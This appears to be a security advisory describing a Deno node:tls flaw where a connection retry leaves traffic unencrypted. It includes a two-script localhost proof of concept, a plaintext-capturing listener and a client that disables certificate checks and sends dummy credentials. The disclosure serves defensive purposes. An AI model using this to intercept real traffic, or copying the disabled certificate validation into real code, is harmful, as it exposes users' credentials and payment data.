Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
Summary
A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.
Proof of concept
attacker.mjs (captures whatever the client sends)
```ts
import net from "node:net";
const server = net.createServer((socket) => {
console.log("[attacker] client connected from", socket.remoteAddress);
socket.on("data", (chunk) => {
// If TLS were working, this would be an opaque ClientHello.
// If the bug fires, we see the application payload in cleartext.
console.log("[attacker] received", chunk.length, "bytes:");
console.log(chunk.toString("utf8"));
});
});
server.listen(4444, "127.0.0.1", () => {
console.log("[attacker] listening on 127.0.0.1:4444");
});
```
victim.mjs (a normal-looking TLS client)
```ts
import tls from "node:tls";
const socket = tls.connect({
host: "api.example.invalid",
port: 4444,
autoSelectFamily: true, // Node-compat default
// First address is a black hole (nothing on [::1]:4444),
// so autoSelectFamily falls back to the second address.
// In a real attack, the on-path attacker arranges this via
// routing, DNS, or by dropping the first SYN.
lookup: (_host, _opts, cb) => {
cb(null, [
{ address: "::1", family: 6 }, // fails -> retry
{ address: "127.0.0.1", family: 4 }, // attacker
]);
},
rejectUnauthorized: false,
});
// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));
socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error", (e) => console.log("[victim] error:", e.message));
```
In terminal 1 deno run --allow-net attacker.mjs
In terminal 2 deno run --allow-net victim.mjs
Expected vs. observed
On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
```
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...
```
The bearer token, the request body, and the card number all appear in plaintext, even though the application used
tls.connect.
